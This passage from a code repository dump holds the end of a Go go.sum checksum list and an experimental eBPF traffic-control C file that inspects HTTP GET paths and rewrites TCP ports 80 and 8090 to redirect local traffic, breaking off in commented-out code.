h1:2W1jSMFryiYlpQigr4ZpSSpE9XNze+bW7cTsCXWbMwo= 12 | github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k= 13 | github.com/frankban/quicktest v1.14.0/go.mod h1:NeW+ay9A/U67EYXNFA1nPE8e/tnQv/09mUdL/ijj8og= 14 | github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA= 15 | github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= 16 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 17 | github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 18 | github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 19 | github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 20 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 21 | github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 22 | github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= 23 | github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= 24 | github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 25 | github.com/josharian/native v0.0.0-20200817173448-b6b71def0850/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w= 26 | github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w= 27 | github.com/josharian/native v1.1.0 h1:uuaP0hAbW7Y4l0ZRQ6C9zfb7Mg1mbFKry/xzDAfmtLA= 28 | github.com/josharian/native v1.1.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w= 29 | github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw= 30 | github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ= 31 | github.com/jsimonetti/rtnetlink v0.0.0-20201009170750-9c6f07d100c1/go.mod h1:hqoO/u39cqLeBLebZ8fWdE96O7FxrAsRYhnVOdgHxok= 32 | github.com/jsimonetti/rtnetlink v0.0.0-20201216134343-bde56ed16391/go.mod h1:cR77jAZG3Y3bsb8hF6fHJbFoyFukLFOkQ98S0pQz3xw= 33 | github.com/jsimonetti/rtnetlink v0.0.0-20201220180245-69540ac93943/go.mod h1:z4c53zj6Eex712ROyh8WI0ihysb5j2ROyV42iNogmAs= 34 | github.com/jsimonetti/rtnetlink v0.0.0-20210122163228-8d122574c736/go.mod h1:ZXpIyOK59ZnN7J0BV99cZUPmsqDRZ3eq5X+st7u/oSA= 35 | github.com/jsimonetti/rtnetlink v0.0.0-20210212075122-66c871082f2b/go.mod h1:8w9Rh8m+aHZIG69YPGGem1i5VzoyRC8nw2kA8B+ik5U= 36 | github.com/jsimonetti/rtnetlink v0.0.0-20210525051524-4cc836578190/go.mod h1:NmKSdU4VGSiv1bMsdqNALI4RSvvjtz65tTMCnD05qLo= 37 | github.com/jsimonetti/rtnetlink v0.0.0-20211022192332-93da33804786 h1:N527AHMa793TP5z5GNAn/VLPzlc0ewzWdeP/25gDfgQ= 38 | github.com/jsimonetti/rtnetlink v0.0.0-20211022192332-93da33804786/go.mod h1:v4hqbTdfQngbVSZJVWUhGE/lbTFf9jb+ygmNUDQMuOs= 39 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 40 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 41 | github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= 42 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 43 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 44 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 45 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 46 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 47 | github.com/mdlayher/ethtool v0.0.0-20210210192532-2b88debcdd43/go.mod h1:+t7E0lkKfbBsebllff1xdTmyJt8lH37niI6kwFk9OTo= 48 | github.com/mdlayher/genetlink v1.0.0/go.mod h1:0rJ0h4itni50A86M2kHcgS85ttZazNt7a8H2a2cw0Gc= 49 | github.com/mdlayher/netlink v0.0.0-20190409211403-11939a169225/go.mod h1:eQB3mZE4aiYnlUsyGGCOpPETfdQq4Jhsgf1fk3cwQaA= 50 | github.com/mdlayher/netlink v1.0.0/go.mod h1:KxeJAFOFLG6AjpyDkQ/iIhxygIUKD+vcwqcnu43w/+M= 51 | github.com/mdlayher/netlink v1.1.0/go.mod h1:H4WCitaheIsdF9yOYu8CFmCgQthAPIWZmcKp9uZHgmY= 52 | github.com/mdlayher/netlink v1.1.1/go.mod h1:WTYpFb/WTvlRJAyKhZL5/uy69TDDpHHu2VZmb2XgV7o= 53 | github.com/mdlayher/netlink v1.2.0/go.mod h1:kwVW1io0AZy9A1E2YYgaD4Cj+C+GPkU6klXCMzIJ9p8= 54 | github.com/mdlayher/netlink v1.2.1/go.mod h1:bacnNlfhqHqqLo4WsYeXSqfyXkInQ9JneWI68v1KwSU= 55 | github.com/mdlayher/netlink v1.2.2-0.20210123213345-5cc92139ae3e/go.mod h1:bacnNlfhqHqqLo4WsYeXSqfyXkInQ9JneWI68v1KwSU= 56 | github.com/mdlayher/netlink v1.3.0/go.mod h1:xK/BssKuwcRXHrtN04UBkwQ6dY9VviGGuriDdoPSWys= 57 | github.com/mdlayher/netlink v1.4.0/go.mod h1:dRJi5IABcZpBD2A3D0Mv/AiX8I9uDEu5oGkAVrekmf8= 58 | github.com/mdlayher/netlink v1.4.1/go.mod h1:e4/KuJ+s8UhfUpO9z00/fDZZmhSrs+oxyqAS9cNgn6Q= 59 | github.com/mdlayher/netlink v1.6.0 h1:rOHX5yl7qnlpiVkFWoqccueppMtXzeziFjWAjLg6sz0= 60 | github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWCdcZk8/vA= 61 | github.com/mdlayher/socket v0.0.0-20210307095302-262dc9984e00/go.mod h1:GAFlyu4/XV68LkQKYzKhIo/WW7j3Zi0YRAz/BOoanUc= 62 | github.com/mdlayher/socket v0.1.1 h1:q3uOGirUPfAV2MUoaC7BavjQ154J7+JOkTWyiV+intI= 63 | github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs= 64 | github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= 65 | github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= 66 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 67 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 68 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2 h1:Jvc7gsqn21cJHCmAWx0LiimpP18LZmUxkT5Mp7EZ1mI= 69 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2/go.mod h1:CxIveKay+FTh1D0yPZemJVgC/95VzuuOLq5Qi4xnoYc= 70 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 71 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 72 | golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 73 | golang.org/x/net v0.0.0-20191007182048-72f939374954/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 74 | golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 75 | golang.org/x/net v0.0.0-20201010224723-4f7140c49acb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 76 | golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 77 | golang.org/x/net v0.0.0-20201216054612-986b41b23924/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 78 | golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 79 | golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 80 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 81 | golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 82 | golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 83 | golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd h1:O7DYs+zxREGLKzKoMQrtrEacpb0ZVXA5rIwylE2Xchk= 84 | golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= 85 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= 86 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 87 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 88 | golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 89 | golang.org/x/sys v0.0.0-20190411185658-b44545bcd369/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 90 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 91 | golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 92 | golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 93 | golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 94 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 95 | golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 96 | golang.org/x/sys v0.0.0-20201118182958-a01c418693c7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 97 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 98 | golang.org/x/sys v0.0.0-20201218084310-7d0127a74742/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 99 | golang.org/x/sys v0.0.0-20210110051926-789bb1bd4061/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 100 | golang.org/x/sys v0.0.0-20210123111255-9b0068b26619/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 101 | golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 102 | golang.org/x/sys v0.0.0-20210216163648-f7da38b97c65/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 103 | golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 104 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 105 | golang.org/x/sys v0.0.0-20210525143221-35b2ab0089ea/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 106 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 107 | golang.org/x/sys v0.0.0-20210906170528-6f6e22806c34/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 108 | golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 109 | golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 110 | golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 111 | golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= 112 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 113 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 114 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 115 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 116 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 117 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 118 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 119 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 120 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 121 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 122 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 123 | gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= 124 | -------------------------------------------------------------------------------- /ebpf/http/http.c_backup2: -------------------------------------------------------------------------------- 1 | // +build ignore 2 | #include "../headers/vmlinux.h" 3 | #include 4 | #include 5 | #include 6 | //#include 7 | //#include 8 | //#include 9 | char __license[] SEC("license") = "GPL"; 10 | 11 | #define TC_ACT_OK 0 12 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */ 13 | #define ETH_HLEN 14 /*Ethernet Header Length */ 14 | 15 | #define max_path_len 20 16 | 17 | static inline int is_http(struct __sk_buff *skb, __u64 nh_off); 18 | static inline int bpf_strcmplength(char *s1, char *s2, u32 n); 19 | static inline int bpf_strncmpoffset(char *s1, char *s2, u32 n, u32 o); 20 | 21 | struct url_path { 22 | __u8 path_len; 23 | char path[max_path_len]; // This should be a char but code generation between here and Go.. 24 | }; 25 | 26 | struct { 27 | __uint(type, BPF_MAP_TYPE_HASH); 28 | __uint(max_entries, 1024); 29 | __type(key, char[max_path_len]); 30 | __type(value, struct url_path); 31 | } 32 | url_map SEC(".maps"); 33 | 34 | struct { 35 | __uint(type, BPF_MAP_TYPE_HASH); 36 | __uint(max_entries, 1024); 37 | __type(key, __u16); 38 | __type(value, __u16); 39 | } 40 | redirect_map SEC(".maps"); 41 | 42 | static inline void set_tcp_dport(struct __sk_buff *skb, int nh_off, 43 | __u16 old_port, __u16 new_port) 44 | { 45 | bpf_l4_csum_replace(skb, nh_off + offsetof(struct tcphdr, check), 46 | old_port, new_port, sizeof(new_port)); 47 | bpf_skb_store_bytes(skb, nh_off + offsetof(struct tcphdr, dest), 48 | &new_port, sizeof(new_port), 0); 49 | } 50 | 51 | static inline void set_tcp_sport(struct __sk_buff *skb, int nh_off, 52 | __u16 old_port, __u16 new_port) 53 | { 54 | bpf_l4_csum_replace(skb, nh_off + offsetof(struct tcphdr, check), 55 | old_port, new_port, sizeof(new_port)); 56 | bpf_skb_store_bytes(skb, nh_off + offsetof(struct tcphdr, source), 57 | &new_port, sizeof(new_port), 0); 58 | } 59 | 60 | 61 | 62 | SEC("tc_in") 63 | int tc_ingress(struct __sk_buff * skb) { 64 | void *data_end = (void *)(long)skb->data_end; 65 | void *data = (void *)(long)skb->data; 66 | struct ethhdr *eth = data; 67 | __u16 h_proto; 68 | __u64 nh_off = 0; 69 | nh_off = sizeof(*eth); 70 | 71 | if (data + nh_off > data_end) { 72 | return TC_ACT_OK; 73 | } 74 | 75 | h_proto = eth->h_proto; 76 | 77 | if (h_proto == bpf_htons(ETH_P_IP)) { 78 | if (is_http(skb, nh_off) == 1) { 79 | bpf_printk("Found what we were looking for"); 80 | } 81 | } 82 | 83 | return TC_ACT_OK; 84 | } 85 | 86 | SEC("tc_egress") 87 | int tc_egress_(struct __sk_buff *skb) 88 | { 89 | struct iphdr ip; 90 | struct tcphdr tcp; 91 | if (0 != bpf_skb_load_bytes(skb, sizeof(struct ethhdr), &ip, sizeof(struct iphdr))) 92 | { 93 | bpf_printk("bpf_skb_load_bytes iph failed"); 94 | return TC_ACT_OK; 95 | } 96 | 97 | if (0 != bpf_skb_load_bytes(skb, sizeof(struct ethhdr) + (ip.ihl << 2), &tcp, sizeof(struct tcphdr))) 98 | { 99 | bpf_printk("bpf_skb_load_bytes eth failed"); 100 | return TC_ACT_OK; 101 | } 102 | 103 | unsigned int src_port = bpf_ntohs(tcp.source); 104 | unsigned int dst_port = bpf_ntohs(tcp.dest); 105 | 106 | if (src_port == 80 || dst_port == 80 || src_port == 8090 || dst_port == 8090) 107 | bpf_printk("-> %pI4:%u -> %pI4:%u", &ip.saddr, src_port, &ip.daddr, dst_port); 108 | 109 | if (src_port != 8090) 110 | return TC_ACT_OK; 111 | if (tcp.rst) { 112 | bpf_printk("-> sending a reset"); 113 | //__u16 port = 0; 114 | int update = bpf_map_update_elem(&redirect_map, &dst_port, &src_port, BPF_ANY); 115 | if (update !=0) { 116 | bpf_printk("-> couldnt update map"); 117 | } 118 | 119 | } 120 | 121 | 122 | set_tcp_sport(skb, ETH_HLEN + sizeof(struct iphdr), bpf_htons(8090), bpf_htons(80)); 123 | 124 | return TC_ACT_OK; 125 | } 126 | 127 | 128 | static inline int is_http(struct __sk_buff *skb, __u64 nh_off) { 129 | void *data_end = (void *)(long)skb->data_end; 130 | void *data = (void *)(long)skb->data; 131 | struct iphdr *iph = data + nh_off; 132 | 133 | if ((void*)(iph + 1) > data_end) { 134 | return 0; 135 | } 136 | 137 | if (iph->protocol != IPPROTO_TCP) { 138 | return 0; 139 | } 140 | __u32 tcp_hlen = 0; 141 | __u32 ip_hlen = 0; 142 | __u32 poffset = 0; 143 | __u32 plength = 0; 144 | __u32 ip_total_length = iph->tot_len; 145 | 146 | ip_hlen = iph->ihl << 2; 147 | 148 | if (ip_hlen < sizeof(*iph)) { 149 | return 0; 150 | } 151 | 152 | struct tcphdr *tcph = data + nh_off + sizeof(*iph); 153 | 154 | if ((void*)(tcph + 1) > data_end) { 155 | return 0; 156 | } 157 | unsigned int src_port = bpf_ntohs(tcph->source); 158 | __u16 dst_port = bpf_ntohs(tcph->dest); 159 | 160 | //if (src_port == 80) { 161 | __u16 *redirect = bpf_map_lookup_elem(&redirect_map, &src_port); 162 | if (redirect) { 163 | bpf_printk("<- hack that header for %d", dst_port); 164 | set_tcp_dport(skb, ETH_HLEN + sizeof(struct iphdr), bpf_htons(80), bpf_htons(8090)); 165 | return TC_ACT_OK; 166 | } 167 | //} 168 | // dst_port = bpf_htons(dst_port); 169 | // redirect = bpf_map_lookup_elem(&redirect_map, &dst_port); 170 | // if (redirect) { 171 | // bpf_printk("INGRESS - hack that shit for %d", dst_port); 172 | // } 173 | // } 174 | 175 | if (src_port == 80 || dst_port == 80 || src_port == 8090 || dst_port == 8090 ) 176 | bpf_printk("<- %pI4:%u -> %pI4:%u", iph->saddr, src_port, iph->daddr, dst_port); 177 | 178 | tcp_hlen = tcph->doff << 2; 179 | poffset = ETH_HLEN + ip_hlen + tcp_hlen; 180 | plength = ip_total_length - ip_hlen - tcp_hlen; 181 | if (plength >= 7) { 182 | 183 | // Room to store 50 bytes of data from the packet 184 | char pdata[50]; 185 | 186 | // Load data from the socket buffer, poffset starts at the end of the TCP Header 187 | int ret = bpf_skb_load_bytes(skb, poffset, pdata, 50); 188 | if (ret != 0) { 189 | return 0; 190 | } 191 | // Print out the entire HTTP request (debug) 192 | bpf_printk("%s", pdata); 193 | 194 | // Look for a GET request 195 | if (bpf_strcmplength(pdata, "GET", 3) == 0) { 196 | 197 | // char path[max_path_len]; 198 | // int path_len = 0; 199 | struct url_path key; 200 | key.path_len = 0; 201 | // memset(key.path[0], 0, sizeof(key.path)); 202 | // Find the request URI (starts at offset 4), ends with a space 203 | for (int i = 4; i < sizeof(pdata) ; i++) 204 | { 205 | if (pdata[i] != ' ') { 206 | key.path[i-4] = pdata[i]; 207 | } else { 208 | key.path[i-4] = '\0'; 209 | key.path_len = i-4; 210 | break; 211 | } 212 | } 213 | // Print out the Get request path 214 | // bpf_printk("<- incoming path [%s], length [%d]", path, path_len); 215 | //__builtin_memcpy(key.path, path, path_len); 216 | 217 | // key.path_len = path_len; 218 | bpf_printk("<- incoming path [%s]", key.path); 219 | struct url_path *found_path = bpf_map_lookup_elem(&url_map, &key.path); 220 | if (found_path > 0) { 221 | bpf_printk("WTF"); 222 | } 223 | if (bpf_strncmpoffset(pdata, "/test", 5,4) == 0) { 224 | set_tcp_dport(skb, ETH_HLEN + sizeof(struct iphdr), bpf_htons(80), bpf_htons(8090)); 225 | return 1; 226 | } 227 | } 228 | } 229 | 230 | return 0; 231 | } 232 | 233 | static inline int bpf_strcmplength(char *s1, char *s2, u32 n) 234 | { 235 | for (int i = 0; i < n && i < sizeof(s1) && i < sizeof(s2); i++) 236 | { 237 | if (s1[i] != s2[i]) 238 | return s1[i] - s2[i]; 239 | 240 | if (s1[i] == s2[i] == '\0') 241 | return 0; 242 | } 243 | 244 | return 0; 245 | } 246 | 247 | static inline int bpf_strncmpoffset(char *s1, char *s2, u32 n, u32 o) 248 | { 249 | for (int i = 0; i < n && i < sizeof(s1) && i < sizeof(s2); i++) 250 | { 251 | if (s1[i+o] != s2[i]) 252 | return s1[i+o] - s2[i]; 253 | 254 | if (s1[i+o] == s2[i] == '\0') 255 | return 0; 256 | } 257 | 258 | return 0; 259 | } 260 | 261 | // static inline int bpf_strcmp(char *s1, char *s2) 262 | // { 263 | // u32 s1_size = sizeof(s1); 264 | // u32 s2_size = sizeof(s2); 265 | 266 | // return bpf_strncmp2(s1, s2, s1_size < s2_size ? s1_size : s2_size); 267 | // } 268 | 269 | 270 | // SEC("tc") 271 | // int tc_ingress1(struct __sk_buff * skb) { 272 | 273 | // void *data_end = (void *)(long)skb->data_end; 274 | // void *data = (void *)(long)skb->data; 275 | // // struct tcphdr *tcph; 276 | // // struct iphdr *iph; 277 | // // struct ethhdr * eth = data; 278 | 279 | // // __u64 nh_off = sizeof( * eth); 280 | 281 | // // if (data + nh_off > data_end) 282 | // // return TC_ACT_OK; 283 | 284 | // // if (bpf_ntohs(eth->h_proto) != ETH_P_IP) 285 | // // return TC_ACT_OK; 286 | 287 | // // if (data + sizeof(*eth) + sizeof(*iph) > data_end) 288 | // // return TC_ACT_OK; 289 | 290 | // // iph = data + sizeof(*eth); 291 | // // if (iph->protocol != IPPROTO_TCP) 292 | // // return TC_ACT_OK; 293 | 294 | // // if (data + sizeof(*eth) + sizeof(*iph) + sizeof(*tcph) > data_end) 295 | // // return TC_ACT_OK; 296 | 297 | // // tcph = data + sizeof(*eth) + sizeof(*iph); 298 | 299 | // // if (__bpf_htons(tcph->source) != 80) 300 | // // return TC_ACT_OK; 301 | 302 | // // bpf_printk("packet %d to %d", __bpf_htons(tcph->dest), __bpf_htons(tcph->source)); 303 | 304 | // // u32 tcp_header_length = 0; 305 | // // u32 ip_header_length = 0; 306 | // // unsigned char *payload; 307 | // // u32 payload_length = 0; 308 | // // ip_header_length = (iph->ihl) << 2; //SHL 2 -> *4 multiply 309 | // // tcp_header_length = (tcph->doff) << 2; //SHL 2 -> *4 multiply 310 | // // // char * data1; 311 | // // // data1 = (char *)((unsigned char *)tcph + (tcph->doff * 4)); 312 | 313 | // // payload = (unsigned char *)tcph + tcp_header_length; 314 | 315 | // // //calculate payload offset and length 316 | // //payload_offset = sizeof(*eth) + sizeof(*iph); 317 | // //payload_length = __bpf_htons(iph->tot_len) - ip_header_length - tcp_header_length; 318 | // // if(payload_length < 7) { 319 | // // goto DROP; 320 | // // } 321 | // // //load first 7 byte of payload into p (payload_array) 322 | // // //direct access to skb not allowed 323 | // // unsigned long p[7]; 324 | // // int i = 0; 325 | // // for (i = 0; i < 7; i++) { 326 | 327 | // // //p[i] = skb->data + payload_offset+i; 328 | // // //bpf_skb_load_bytes(skb, payload_offset, &p[i], 1); 329 | // // } 330 | // // bpf_printk("%s", payload[0]); 331 | // // bpf_printk("Total length: %d IP Header length: %d TCP Header: %d ",__bpf_htons(iph->tot_len), ip_header_length, tcp_header_length); 332 | // // void *data_end = (void *)(long)ctx->data_end; 333 | // // void *data = (void *)(long)ctx->data; 334 | // void *head = data; 335 | // struct ethhdr *eth; 336 | // struct iphdr *iph; 337 | // // struct ipv6hdr *ip6h; 338 | // struct tcphdr *tcph; 339 | // uint16_t h_proto; 340 | // uint8_t *tcp_data; 341 | // // int nbzeros = 0; 342 | // // int i = 0; 343 | // // bool found = false; 344 | 345 | // eth = head; 346 | // if ((void *)eth + sizeof(struct ethhdr) >= data_end) 347 | // return TC_ACT_OK; 348 | // head += sizeof(struct ethhdr); 349 | 350 | // h_proto = eth->h_proto; 351 | // switch (h_proto) 352 | // { 353 | // case bpf_htons(ETH_P_IP): 354 | // iph = head; 355 | // if ((void *)iph + sizeof(struct iphdr) >= data_end) 356 | // return TC_ACT_OK; 357 | 358 | // h_proto = iph->protocol; 359 | 360 | // head += iph->ihl * 4; 361 | 362 | // break; 363 | 364 | // // case bpf_htons(ETH_P_IPV6): 365 | // // ip6h = head; 366 | // // if ((void *)ip6h + sizeof(struct ipv6hdr) >= data_end) 367 | // // return TC_ACT_OK; 368 | 369 | // // h_proto = ip6h->nexthdr; 370 | 371 | // // head += sizeof(struct 